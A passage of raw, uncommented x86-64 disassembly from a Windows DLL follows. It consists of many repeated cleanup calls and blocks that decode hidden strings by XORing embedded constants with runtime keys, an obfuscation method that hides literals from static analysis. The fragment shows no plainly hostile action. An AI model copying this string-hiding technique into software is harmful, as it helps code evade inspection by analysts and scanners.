lea rcx, [rbp + 0x7b50]
call fcn.180040870
nop
lea rcx, [rbp + 0x7b70]
call fcn.180040870
nop
lea rcx, [rbp + 0x44d0]
call fcn.180040870
nop
lea rcx, [rbp + 0x44f0]
call fcn.180040870
nop
lea rcx, [rbp + 0x7b90]
call fcn.180040870
nop
lea rcx, [rbp + 0x7bb0]
call fcn.180040870
nop
lea rcx, [rbp + 0x4510]
call fcn.180040870
nop
lea rcx, [rbp + 0x4530]
call fcn.180040870
nop
lea rcx, [rbp + 0x7bd0]
call fcn.180040870
nop
lea rcx, [rbp + 0x7bf0]
call fcn.180040870
nop
lea rcx, [rbp + 0x4550]
call fcn.180040870
nop
lea rcx, [rbp + 0x4570]
call fcn.180040870
nop
lea rcx, [rbp + 0x7c10]
call fcn.180040870
nop
lea rcx, [rbp + 0x7c30]
call fcn.180040870
nop
lea rcx, [rbp + 0x4590]
call fcn.180040870
nop
lea rcx, [rbp + 0x45b0]
call fcn.180040870
nop
lea rcx, [rbp + 0x7c50]
call fcn.180040870
nop
lea rcx, [rbp + 0x7c70]
call fcn.180040870
nop
lea rcx, [rbp + 0x45d0]
call fcn.180040870
nop
lea rcx, [rbp + 0x45f0]
call fcn.180040870
nop
lea rcx, [rbp + 0x7c90]
call fcn.180040870
nop
lea rcx, [rbp + 0x7cb0]
call fcn.180040870
nop
lea rcx, [rbp + 0x4610]
call fcn.180040870
nop
lea rcx, [rbp + 0x4630]
call fcn.180040870
nop
lea rcx, [rbp + 0x7cd0]
call fcn.180040870
nop
lea rcx, [rbp + 0x7cf0]
call fcn.180040870
nop
lea rcx, [rbp + 0x4650]
call fcn.180040870
nop
lea rcx, [rbp + 0x4670]
call fcn.180040870
nop
lea rcx, [rbp + 0x7d10]
call fcn.180040870
nop
lea rcx, [rbp + 0x7d30]
call fcn.180040870
nop
lea rcx, [rbp + 0x4690]
call fcn.180040870
nop
lea rcx, [rbp + 0x46b0]
call fcn.180040870
nop
lea rcx, [rbp + 0x7d50]
call fcn.180040870
nop
lea rcx, [rbp + 0x7d70]
call fcn.180040870
nop
lea rcx, [rbp + 0x46d0]
call fcn.180040870
nop
lea rcx, [rbp + 0x46f0]
call fcn.180040870
nop
lea rcx, [rbp + 0x7d90]
call fcn.180040870
nop
lea rcx, [rbp + 0x7db0]
call fcn.180040870
nop
lea rcx, [rbp + 0x4710]
call fcn.180040870
nop
lea rcx, [rbp + 0x4730]
call fcn.180040870
nop
lea rcx, [rbp + 0x7dd0]
call fcn.180040870
nop
lea rcx, [rbp + 0x7df0]
call fcn.180040870
nop
lea rcx, [rbp + 0x4750]
call fcn.180040870
nop
lea rcx, [rbp + 0x4770]
call fcn.180040870
nop
lea rcx, [rbp + 0x7e10]
call fcn.180040870
nop
lea rcx, [rbp + 0x7e30]
call fcn.180040870
nop
lea rcx, [rbp + 0x4790]
call fcn.180040870
nop
lea rcx, [rbp + 0x47b0]
call fcn.180040870
nop
lea rcx, [rbp + 0x7e50]
call fcn.180040870
nop
lea rcx, [rbp + 0x7e70]
call fcn.180040870
nop
lea rcx, [rbp + 0x47d0]
call fcn.180040870
nop
lea rcx, [rbp + 0x47f0]
call fcn.180040870
nop
lea rcx, [rbp + 0x7e90]
call fcn.180040870
nop
lea rcx, [rbp + 0x7eb0]
call fcn.180040870
nop
lea rcx, [rbp + 0x4810]
call fcn.180040870
nop
lea rcx, [rbp + 0x4830]
call fcn.180040870
nop
lea rcx, [rbp + 0x7ed0]
call fcn.180040870
nop
lea rcx, [rbp + 0x7ef0]
call fcn.180040870
nop
lea rcx, [rbp + 0x4850]
call fcn.180040870
nop
lea rcx, [rbp + 0x4870]
call fcn.180040870
nop
lea rcx, [rbp + 0x7f10]
call fcn.180040870
nop
lea rcx, [rbp + 0x7f30]
call fcn.180040870
nop
lea rcx, [rbp + 0x4890]
call fcn.180040870
nop
lea rcx, [rbp + 0x48b0]
call fcn.180040870
nop
lea rcx, [rbp + 0x7f50]
call fcn.180040870
nop
lea rcx, [rbp + 0x7f70]
call fcn.180040870
nop
lea rcx, [rbp + 0x48d0]
call fcn.180040870
nop
lea rcx, [rbp + 0x48f0]
call fcn.180040870
nop
lea rcx, [rbp + 0x7f90]
call fcn.180040870
nop
lea rcx, [rbp + 0x7fb0]
call fcn.180040870
nop
lea rcx, [rbp + 0x4910]
call fcn.180040870
nop
lea rcx, [rbp + 0x4930]
call fcn.180040870
nop
lea rcx, [rbp + 0x7fd0]
call fcn.180040870
nop
lea rcx, [rbp + 0x7ff0]
call fcn.180040870
nop
lea rcx, [rbp + 0x4950]
call fcn.180040870
nop
lea rcx, [rbp + 0x4970]
call fcn.180040870
nop
lea rcx, [rbp + 0x8010]
call fcn.180040870
nop
lea rcx, [rbp + 0x8030]
call fcn.180040870
nop
lea rcx, [rbp + 0x4990]
call fcn.180040870
nop
lea rcx, [rbp + 0x49b0]
call fcn.180040870
nop
lea rcx, [rbp + 0x8050]
call fcn.180040870
nop
lea rcx, [rbp + 0x8070]
call fcn.180040870
nop
lea rcx, [rbp + 0x49d0]
call fcn.180040870
nop
lea rcx, [rbp + 0x49f0]
call fcn.180040870
nop
lea rcx, [rbp + 0x8090]
call fcn.180040870
nop
lea rcx, [rbp + 0x80b0]
call fcn.180040870
nop
lea rcx, [rbp + 0x4a10]
call fcn.180040870
nop
lea rcx, [rbp + 0x4a30]
call fcn.180040870
nop
lea rcx, [rbp + 0x80d0]
call fcn.180040870
nop
lea rcx, [rbp + 0x80f0]
call fcn.180040870
nop
lea rcx, [rbp + 0x4a50]
call fcn.180040870
nop
lea rcx, [rbp + 0x4a70]
call fcn.180040870
nop
lea rcx, [rbp + 0x8110]
call fcn.180040870
nop
lea rcx, [rbp + 0x8130]
call fcn.180040870
nop
lea rcx, [rbp + 0x4a90]
call fcn.180040870
nop
lea rcx, [rbp + 0x4ab0]
call fcn.180040870
nop
lea rcx, [rbp + 0x8150]
call fcn.180040870
nop
lea rcx, [rbp + 0x8170]
call fcn.180040870
nop
lea rcx, [rbp + 0x4ad0]
call fcn.180040870
nop
lea rcx, [rbp + 0x4af0]
call fcn.180040870
nop
lea rcx, [rbp + 0x8190]
call fcn.180040870
nop
lea rcx, [rbp + 0x81b0]
call fcn.180040870
nop
lea rcx, [rbp + 0x4b10]
call fcn.180040870
nop
lea rcx, [rbp + 0x4b30]
call fcn.180040870
nop
lea rcx, [rbp + 0x81d0]
call fcn.180040870
nop
lea rcx, [rbp + 0x81f0]
call fcn.180040870
nop
lea rcx, [rbp + 0x4b50]
call fcn.180040870
nop
lea rcx, [rbp + 0x4b70]
call fcn.180040870
nop
lea rcx, [rbp + 0x8210]
call fcn.180040870
nop
lea rcx, [rbp + 0x8230]
call fcn.180040870
nop
lea rcx, [rbp + 0x4b90]
call fcn.180040870
nop
lea rcx, [rbp + 0x4bb0]
call fcn.180040870
nop
lea rcx, [rbp + 0x8250]
call fcn.180040870
nop
lea rcx, [rbp + 0x8270]
call fcn.180040870
nop
lea rcx, [rbp + 0x4bd0]
call fcn.180040870
nop
lea rcx, [rbp + 0x4bf0]
call fcn.180040870
nop
lea rcx, [rbp + 0x8290]
call fcn.180040870
nop
lea rcx, [rbp + 0x82b0]
call fcn.180040870
nop
lea rcx, [rbp + 0x4c10]
call fcn.180040870
nop
lea rcx, [rbp + 0x4c30]
call fcn.180040870
nop
lea rcx, [rbp + 0x82d0]
call fcn.180040870
nop
lea rcx, [rbp + 0x82f0]
call fcn.180040870
nop
lea rcx, [rbp + 0x4c50]
call fcn.180040870
nop
lea rcx, [rbp + 0x4c70]
call fcn.180040870
nop
lea rcx, [rbp + 0x8310]
call fcn.180040870
nop
lea rcx, [rbp + 0x8330]
call fcn.180040870
nop
lea rcx, [rbp + 0x4c90]
call fcn.180040870
nop
lea rcx, [rbp + 0x4cb0]
call fcn.180040870
nop
lea rcx, [rbp + 0x8350]
call fcn.180040870
nop
lea rcx, [rbp + 0x8370]
call fcn.180040870
nop
lea rcx, [rbp + 0x4cd0]
call fcn.180040870
nop
lea rcx, [rbp + 0x4cf0]
call fcn.180040870
nop
lea rcx, [rbp + 0x8390]
call fcn.180040870
nop
lea rcx, [rbp + 0x83b0]
call fcn.180040870
nop
lea rcx, [rbp + 0x4d10]
call fcn.180040870
nop
lea rcx, [rbp + 0x4d30]
call fcn.180040870
nop
lea rcx, [rbp + 0x83d0]
call fcn.180040870
nop
lea rcx, [rbp + 0x83f0]
call fcn.180040870
nop
lea rcx, [rbp + 0x4d50]
call fcn.180040870
nop
lea rcx, [rbp + 0x4d70]
call fcn.180040870
nop
lea rcx, [rbp + 0x8410]
call fcn.180040870
nop
lea rcx, [rbp + 0x8430]
call fcn.180040870
nop
lea rcx, [rbp + 0x4d90]
call fcn.180040870
nop
lea rcx, [rbp + 0x4db0]
call fcn.180040870
nop
lea rcx, [rbp + 0x8450]
call fcn.180040870
nop
lea rcx, [rbp + 0x8470]
call fcn.180040870
nop
lea rcx, [rbp + 0x4dd0]
call fcn.180040870
nop
lea rcx, [rbp + 0x4df0]
call fcn.180040870
nop
lea rcx, [rbp + 0x8490]
call fcn.180040870
nop
lea rcx, [rbp + 0x84b0]
call fcn.180040870
nop
lea rcx, [rbp + 0x4e10]
call fcn.180040870
nop
lea rcx, [rbp + 0x4e30]
call fcn.180040870
nop
lea rcx, [rbp + 0x84d0]
call fcn.180040870
nop
lea rcx, [rbp + 0x84f0]
call fcn.180040870
nop
lea rcx, [rbp + 0x4e50]
call fcn.180040870
nop
lea rcx, [rbp + 0x4e70]
call fcn.180040870
nop
lea rcx, [rbp + 0x8510]
call fcn.180040870
nop
lea rcx, [rbp + 0x8530]
call fcn.180040870
nop
lea rcx, [rbp + 0x4e90]
call fcn.180040870
nop
lea rcx, [rbp + 0x4eb0]
call fcn.180040870
nop
lea rcx, [rbp + 0x8550]
call fcn.180040870
nop
lea rcx, [rbp + 0x8570]
call fcn.180040870
nop
lea rcx, [rbp + 0x4ed0]
call fcn.180040870
nop
lea rcx, [rbp + 0x4ef0]
call fcn.180040870
mov edx, 0x18
lea rcx, [rbp + 0xa410]
call fcn.1800082e0
xor eax, eax
mov byte [rbp + 0x29b], al
mov byte [rbp + 0x29c], al
movabs rax, 0xe54d2afbc2d3478c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x410], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x418], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xb150], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xb158], rax
movdqa xmm0, xmmword [rbp + 0x410]
pxor xmm0, xmmword [rbp + 0xb150]
movdqa xmmword [rbp + 0x410], xmm0
lea rdx, [rbp + 0x410]
lea rcx, [rbp + 0x4f90]
call fcn.180004520
nop
lea rdx, [rbp + 0x4f90]
lea rcx, [rbp + 0x92e0]
call fcn.1800553f0
nop
xor eax, eax
mov byte [rbp + 0x29d], al
mov byte [rbp + 0x29e], al
movabs rax, 0xff264fc3c2d7188f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x420], rax
movabs rax, 0x4dd6a69c2f586a83
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x428], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xaf00], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xaf08], rax
movdqa xmm0, xmmword [rbp + 0x420]
pxor xmm0, xmmword [rbp + 0xaf00]
movdqa xmmword [rbp + 0x420], xmm0
lea rdx, [rbp + 0x420]
lea rcx, [rbp + 0x4f70]
call fcn.180004520
nop
lea rdx, [rbp + 0x4f70]
lea rcx, [rbp + 0x9300]
call fcn.1800553f0
nop
xor eax, eax
mov byte [rbp + 0x29f], al
mov byte [rbp + 0x2a0], al
movabs rax, 0xc13a75fad7f94689
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4c0], rax
movabs rax, 0x4dd6a69c2f586ab1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4c8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xaef0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xaef8], rax
movdqa xmm0, xmmword [rbp + 0x4c0]
pxor xmm0, xmmword [rbp + 0xaef0]
movdqa xmmword [rbp + 0x4c0], xmm0
lea rdx, [rbp + 0x4c0]
lea rcx, [rbp + 0x4f50]
call fcn.180004520
nop
lea rdx, [rbp + 0x4f50]
lea rcx, [rbp + 0x9320]
call fcn.1800553f0
nop
xor eax, eax
mov byte [rbp + 0x2a1], al
mov byte [rbp + 0x2a2], al
movabs rax, 0xc63a75fad7f94689
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb20], rax
movabs rax, 0x70a1f1c5662f1884
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb28], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xb30], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xb38], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xbb60], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xbb68], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xbb70], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xbb78], rax
vmovdqu ymm0, ymmword [rbp + 0xbb60]
vpxor ymm1, ymm0, ymmword [rbp + 0xb20]
vmovdqa ymmword [rbp + 0xb20], ymm1
lea rdx, [rbp + 0xb20]
lea rcx, [rbp + 0x4f30]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x4f30]
lea rcx, [rbp + 0x9340]
call fcn.1800553f0
nop
xor eax, eax
mov byte [rbp + 0x2a3], al
mov byte [rbp + 0x2a4], al
movabs rax, 0xb44149c3d5e9228f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x330], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x338], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xaee0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xaee8], rax
movdqa xmm0, xmmword [rbp + 0x330]
pxor xmm0, xmmword [rbp + 0xaee0]
movdqa xmmword [rbp + 0x330], xmm0
lea rdx, [rbp + 0x330]
lea rcx, [rbp + 0x4f10]
call fcn.180004520
nop
lea rdx, [rbp + 0x4f10]
lea rcx, [rbp + 0x9360]
call fcn.1800553f0
nop
lea rcx, [rbp + 0x2a5]
call fcn.180004580
mov rbx, rax
lea r8, [rbp + 0x9380]
lea rdx, [rbp + 0x92e0]
lea rcx, [rbp + 0x8d50]
call fcn.18003e4c0
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0x2df0], xmm0
mov r8, rbx
lea rdx, [rbp + 0x2df0]
lea rcx, [rbp + 0xa410]
call fcn.18003f490
nop
lea r9, [fcn.180040870]
mov edx, 0x20
lea r8d, [rdx - 0x1b]
lea rcx, [rbp + 0x92e0]
call fcn.18012c140
nop
lea rcx, [rbp + 0x4f10]
call fcn.180040870
nop
lea rcx, [rbp + 0x4f30]
call fcn.180040870
nop
lea rcx, [rbp + 0x4f50]
call fcn.180040870
nop
lea rcx, [rbp + 0x4f70]
call fcn.180040870
nop
lea rcx, [rbp + 0x4f90]
call fcn.180040870
lea rcx, [rbp + 0xa3f8]
call fcn.18003f470
mov rbx, rax
mov qword [rbp + 8], rax
lea rcx, [rbp + 0xa3f8]
call fcn.18003f460
mov qword [rbp + 0x10], rax
nop dword [rax]
cmp rbx, rax
je 0x18003b5f4
mov rcx, rbx
call fcn.180004580
mov qword [rbp], rax
mov rcx, rbx
call fcn.180043000
mov r13, rax
lea rcx, [rbp + 0xa410]
call fcn.18003f470
mov rbx, rax
lea rcx, [rbp + 0xa410]
call fcn.18003f460
mov rsi, rax
nop
cmp rbx, rsi
je 0x18003b5df
mov edx, 0x18
lea rcx, [rbp + 0xa488]
call fcn.1800082e0
mov r8, rbx
mov rdx, qword [rbp]
lea rcx, [rbp + 0xa488]
call fcn.1800083e0
nop
lea rcx, [rbp + 0xa488]
call fcn.18003f300
test al, al
jne 0x18003b5cd
lea r8, [rbp + 0xa488]
mov rdx, rbx
mov rcx, r13
call fcn.18000f6e0
nop
lea rcx, [rbp + 0xa488]
call fcn.18003f6c0
add rbx, 0x20
jmp 0x18003b580
mov rbx, qword [rbp + 8]
add rbx, 0x40
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 0x10]
jmp 0x18003b540
lea rcx, [rbp + 0xa410]
call fcn.18003f480
nop
lea rcx, [rbp + 0xa3f8]
call fcn.18003f750
movabs r13, 0x14225300d2a7466a
mov eax, dword [rbp + 0x308]
dec eax
cmp eax, 0x102
ja 0x18003dcef
xor eax, eax
mov byte [rbp + 0x2a6], al
mov byte [rbp + 0x2a7], al
movabs rax, 0xe14973fad7f52d8b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x340], rax
movabs rax, 0x4dd6a69c2f307c84
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x348], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xaed0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xaed8], rax
movdqa xmm0, xmmword [rbp + 0x340]
pxor xmm0, xmmword [rbp + 0xaed0]
movdqa xmmword [rbp + 0x340], xmm0
lea rdx, [rbp + 0x340]
lea rcx, [rbp + 0x4fd0]
call fcn.180004520
nop
lea rdx, [rbp + 0x4fd0]
lea rcx, [rbp + 0x8590]
call fcn.1800553f0
nop
mov rcx, rax
call fcn.18003dd10
mov rdx, rax
lea rcx, [rbp + 0x4fb0]
call fcn.180004520
nop
lea rdx, [rbp + 0x4fb0]
lea rcx, [rbp + 0xa9f8]
call fcn.180007160
nop
lea rcx, [rbp + 0x4fb0]
call fcn.180040870
nop
lea rcx, [rbp + 0x8590]
call fcn.180040870
nop
lea rcx, [rbp + 0x4fd0]
call fcn.180040870
xor eax, eax
mov byte [rbp + 0x2a8], al
mov byte [rbp + 0x2a9], al
movabs rax, 0xff045ffbcde12091
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc00], rax
movabs rax, 0x37efe1fd7c505282
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc08], rax
movabs rsi, 0xfb38a9272c41cd23
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xc10], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc18], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xbb80], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xbb88], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xbb90], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xbb98], rax
vmovdqu ymm0, ymmword [rbp + 0xbb80]
vpxor ymm1, ymm0, ymmword [rbp + 0xc00]
vmovdqa ymmword [rbp + 0xc00], ymm1
lea rdx, [rbp + 0xc00]
lea rcx, [rbp + 0x5010]
vzeroupper
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x2aa], al
mov byte [rbp + 0x2ab], al
movabs rax, 0x897c189986863485
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x390], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x398], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xaec0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xaec8], rax
movdqa xmm0, xmmword [rbp + 0x390]
pxor xmm0, xmmword [rbp + 0xaec0]
movdqa xmmword [rbp + 0x390], xmm0
lea rdx, [rbp + 0x390]
lea rcx, [rbp + 0x4ff0]
call fcn.180004520
nop
lea rdx, [rbp + 0x5010]
lea rcx, [rbp + 0x85f0]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0x4ff0]
lea rcx, [rbp + 0x85d0]
call fcn.1800553f0
nop
lea r8, [rbp + 0xa9f8]
mov rdx, rax
lea rcx, [rbp + 0x85b0]
call fcn.180041f40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0xa360]
call fcn.180041fa0
nop
lea rcx, [rbp + 0x85b0]
call fcn.180040870
nop
lea rcx, [rbp + 0x85d0]
call fcn.180040870
nop
lea rcx, [rbp + 0x85f0]
call fcn.180040870
nop
lea rcx, [rbp + 0x4ff0]
call fcn.180040870
nop
lea rcx, [rbp + 0x5010]
call fcn.180040870
lea r8, [rbp + 0xa360]
lea rdx, [rbp + 0xd720]
lea rcx, [rbp + 0x8610]
call fcn.180042b70
nop
mov rcx, rax
call fcn.1800117f0
movzx ebx, al
lea rcx, [rbp + 0x8610]
call fcn.180040870
lea r8, [rbp + 0xa360]
lea rdx, [rbp + 0xd720]
test bl, bl
jne 0x18003dccd
lea rcx, [rbp + 0x8630]
call fcn.180042b70
nop
mov rcx, rax
call fcn.18001e3e0
nop
lea rcx, [rbp + 0x8630]
call fcn.180040870
lea r8, [rbp + 0xa360]
lea rdx, [rbp + 0xd720]
lea rcx, [rbp + 0x8650]
call fcn.180042b70
nop
mov rcx, rax
call fcn.180014780
nop
lea rcx, [rbp + 0x8650]
call fcn.180040870
xor eax, eax
mov byte [rbp + 0x2ac], al
mov byte [rbp + 0x2ad], al
movabs rax, 0xff045ffbcde12091
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc20], rax
movabs rax, 0x37efe1fd7c505282
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc28], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xc30], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc38], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xbba0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xbba8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xbbb0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xbbb8], rax
vmovdqu ymm0, ymmword [rbp + 0xbba0]
vpxor ymm1, ymm0, ymmword [rbp + 0xc20]
vmovdqa ymmword [rbp + 0xc20], ymm1
lea rdx, [rbp + 0xc20]
lea rcx, [rbp + 0x5030]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x5030]
lea rcx, [rbp + 0x86b0]
call fcn.1800553f0
nop
mov r8, rax
lea rdx, [rbp + 0xa9f8]
lea rcx, [rbp + 0x8690]
call fcn.180041ee0
mov rbx, rax
lea r8, [rbp + 0xa360]
lea rdx, [rbp + 0xd720]
lea rcx, [rbp + 0x8670]
call fcn.180042b70
nop
mov rdx, rbx
mov rcx, rax
call fcn.180016ea0
nop
lea rcx, [rbp + 0x8670]
call fcn.180040870
nop
lea rcx, [rbp + 0x8690]
call fcn.180040870
nop
lea rcx, [rbp + 0x86b0]
call fcn.180040870
nop
lea rcx, [rbp + 0x5030]
call fcn.180040870
lea r8, [rbp + 0xa360]
lea rdx, [rbp + 0xd720]
lea rcx, [rbp + 0x86d0]
call fcn.180042b70
nop
mov rcx, rax
call fcn.180011760
nop
lea rcx, [rbp + 0x86d0]
call fcn.180040870
xor eax, eax
mov byte [rbp + 0x2ae], al
mov byte [rbp + 0x2af], al
movabs rax, 0xd34d2af8d2d33385
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc40], rax
movabs rax, 0x37a6cbd048157c87
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc48], rax
movabs rax, 0xfb38a9272c48be25
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc50], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc58], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xbbc0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xbbc8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xbbd0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xbbd8], rax
vmovdqu ymm0, ymmword [rbp + 0xbbc0]
vpxor ymm1, ymm0, ymmword [rbp + 0xc40]
vmovdqa ymmword [rbp + 0xc40], ymm1
lea rdx, [rbp + 0xc40]
lea rcx, [rbp + 0x5050]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x5050]
lea rcx, [rbp + 0x8710]
call fcn.1800553f0
nop
mov r8, rax
lea rdx, [rbp + 0xd720]
lea rcx, [rbp + 0x86f0]
call fcn.180042b00
nop
mov rcx, rax
call fcn.180011760
nop
lea rcx, [rbp + 0x86f0]
call fcn.180040870
nop
lea rcx, [rbp + 0x8710]
call fcn.180040870
nop
lea rcx, [rbp + 0x5050]
call fcn.180040870
xor eax, eax
mov byte [rbp + 0x2b0], al
mov byte [rbp + 0x2b1], al
movabs rax, 0xe12e2acbd2df3285
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc60], rax
movabs rax, 0x3cbaf1cb66331982
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc68], rax
movabs rax, 0xcb50e1436439f60a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc70], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc78], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xbbe0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xbbe8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xbbf0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xbbf8], rax
vmovdqu ymm0, ymmword [rbp + 0xbbe0]
vpxor ymm1, ymm0, ymmword [rbp + 0xc60]
vmovdqa ymmword [rbp + 0xc60], ymm1
lea rdx, [rbp + 0xc60]
lea rcx, [rbp + 0x5070]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x5070]
lea rcx, [rbp + 0x8750]
call fcn.1800553f0
nop
mov r8, rax
lea rdx, [rbp + 0xd720]
lea rcx, [rbp + 0x8730]
call fcn.180042b00
nop
mov rcx, rax
call fcn.180011760
nop
lea rcx, [rbp + 0x8730]
call fcn.180040870
nop
lea rcx, [rbp + 0x8750]
call fcn.180040870
nop
lea rcx, [rbp + 0x5070]
call fcn.180040870
xor eax, eax
mov byte [rbp + 0x2b2], al
mov byte [rbp + 0x2b3], al
movabs rax, 0xf13d62fdc3e93285
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc80], rax
movabs rax, 0x3894c8d079236cbc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc88], rax
movabs rax, 0xfb38a9272c41fb1d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc90], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc98], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xbc00], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xbc08], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xbc10], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xbc18], rax
vmovdqu ymm0, ymmword [rbp + 0xbc00]
vpxor ymm1, ymm0, ymmword [rbp + 0xc80]
vmovdqa ymmword [rbp + 0xc80], ymm1
lea rdx, [rbp + 0xc80]
lea rcx, [rbp + 0x5090]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x5090]
lea rcx, [rbp + 0x8790]
call fcn.1800553f0
nop
mov r8, rax
lea rdx, [rbp + 0xd720]
lea rcx, [rbp + 0x8770]
call fcn.180042b00
nop
mov rcx, rax
call fcn.180011760
nop
lea rcx, [rbp + 0x8770]
call fcn.180040870
nop
lea rcx, [rbp + 0x8790]
call fcn.180040870
nop
lea rcx, [rbp + 0x5090]
call fcn.180040870
xor eax, eax
mov byte [rbp + 0x2b4], al
mov byte [rbp + 0x2b5], al
movabs rax, 0xf3175cd4c3e93285
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xca0], rax
movabs rax, 0x7dbeeef8670273ab
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xca8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xcb0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xcb8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xbc20], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xbc28], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xbc30], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xbc38], rax
vmovdqu ymm0, ymmword [rbp + 0xbc20]
vpxor ymm1, ymm0, ymmword [rbp + 0xca0]
vmovdqa ymmword [rbp + 0xca0], ymm1
lea rdx, [rbp + 0xca0]
lea rcx, [rbp + 0x50b0]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x50b0]
lea rcx, [rbp + 0x87d0]
call fcn.1800553f0
nop
mov r8, rax
